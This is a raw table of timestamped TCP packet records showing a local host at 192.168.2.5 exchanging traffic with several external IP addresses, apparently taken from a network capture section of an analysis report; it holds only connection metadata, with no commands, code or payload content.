Oct 29, 2021 20:11:03.749218941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749257088 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749268055 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749294996 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749295950 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749331951 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749370098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749411106 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749434948 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749474049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749475002 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749510050 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749547958 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749584913 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749587059 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749620914 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749624014 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749659061 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749696016 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749732971 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749735117 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749772072 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.749772072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749806881 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749845028 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.749885082 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.801862001 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.801888943 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.801906109 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.801920891 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.801937103 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.801951885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.801973104 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802011967 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802062988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802102089 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802211046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802258968 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802283049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802299023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802314997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802320004 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802330971 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802346945 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802354097 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802362919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802375078 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802380085 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802396059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802402973 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802412033 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802428007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802434921 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802443981 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802459002 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802476883 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802485943 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802504063 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802505970 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802521944 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802541971 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802603960 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802618980 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802634001 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802649021 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802655935 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802664995 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802680016 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802686930 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802706003 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802725077 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802741051 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802757025 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802783966 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.802791119 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.802850008 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803035975 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803052902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803069115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803091049 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803091049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803107977 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803122997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803132057 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803153038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803172112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803209066 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803240061 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803260088 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803275108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803289890 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803297997 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803306103 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803328037 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803348064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803376913 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803402901 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.803410053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803423882 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.803462982 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.831212997 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.831293106 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.848169088 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.900202036 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:09.444139004 CEST	49840	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:09.495338917 CEST	80	49840	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:09.495457888 CEST	49840	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:09.495573044 CEST	49840	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:09.495588064 CEST	49840	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:09.546674013 CEST	80	49840	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:09.571465969 CEST	80	49840	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:09.571538925 CEST	49840	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:09.670084000 CEST	49840	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:09.721285105 CEST	80	49840	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:17.362833023 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:17.386982918 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:17.387104988 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:18.422193050 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:18.446645021 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:18.495363951 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:21.783015013 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:21.808403969 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:21.855084896 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:24.100054026 CEST	49846	80	192.168.2.5	172.67.160.46
Oct 29, 2021 20:11:24.117280960 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.117422104 CEST	49846	80	192.168.2.5	172.67.160.46
Oct 29, 2021 20:11:24.117980003 CEST	49846	80	192.168.2.5	172.67.160.46
Oct 29, 2021 20:11:24.134991884 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319390059 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319423914 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319444895 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319466114 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319479942 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319494009 CEST	80	49846	172.67.160.46	192.168.2.5
Oct 29, 2021 20:11:24.319511890 CEST	49846	80	192.168.2.5	172.67.160.46
Oct 29, 2021 20:11:24.319552898 CEST	49846	80	192.168.2.5	172.67.160.46
Oct 29, 2021 20:11:24.426753044 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.478482962 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.478655100 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.479682922 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.479782104 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.513622999 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.513647079 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825166941 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825216055 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825237989 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825261116 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825295925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825318098 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825347900 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.825383902 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.825387955 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.825524092 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825572014 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:24.825625896 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.873094082 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:24.907713890 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.089807034 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.089848995 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.089875937 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.089901924 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.089910030 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.089942932 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.090173960 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.090203047 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.090224028 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.090246916 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.090251923 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.090269089 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.090277910 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.090286970 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.090326071 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126060963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126090050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126116991 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126142025 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126163006 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126213074 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126224041 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126250029 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126274109 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126298904 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126323938 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126332998 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126354933 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126398087 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126420975 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126424074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126450062 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126490116 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126513004 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.126528025 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126559973 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.126977921 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.127005100 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.127028942 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.127052069 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.127054930 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.127083063 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.127104998 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.155508995 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.155632973 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.158721924 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158773899 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158797979 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158819914 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158842087 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158865929 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158874035 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.158890009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158890009 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.158909082 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.158912897 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158936024 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158950090 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.158957958 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158979893 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.158998013 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.159003019 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159040928 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.159065962 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159089088 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159111977 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159122944 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.159133911 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159172058 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.159259081 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159292936 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159320116 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159333944 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.159346104 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159398079 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.159449100 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.186840057 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.186882019 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.186917067 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.186934948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.187042952 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.188467979 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188524008 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188545942 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.188575983 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188632965 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.188657045 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188750982 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188783884 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188786983 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.188815117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188843012 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188857079 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.188898087 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188929081 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188930988 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.188960075 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188991070 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.188991070 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.189021111 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.189050913 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.189054012 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.191633940 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.191672087 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.191716909 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.191741943 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.191771984 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.191785097 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.191798925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.191831112 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.219526052 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219549894 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219567060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219583035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219600916 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219616890 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219655037 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.219706059 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.219773054 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219789982 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219805956 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.219881058 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.220082998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220102072 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220118999 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220149994 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.220231056 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.220608950 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220628023 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220639944 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220699072 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.220887899 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.220937014 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.221147060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.221185923 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.221201897 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.221231937 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.221240997 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.221256018 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.221273899 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.221308947 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.221365929 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.222434044 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270405054 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270432949 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270450115 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270466089 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270482063 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270497084 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270509005 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270525932 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270543098 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270559072 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270580053 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270596981 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270612955 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270617962 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270634890 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270649910 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270654917 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270673990 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270682096 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270697117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270704985 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270719051 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270737886 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270744085 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270761013 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270776033 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270776033 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270796061 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270812035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270828009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270836115 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.270843983 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.270868063 CEST	49847	80	192.168.2.5	91.219.236.97
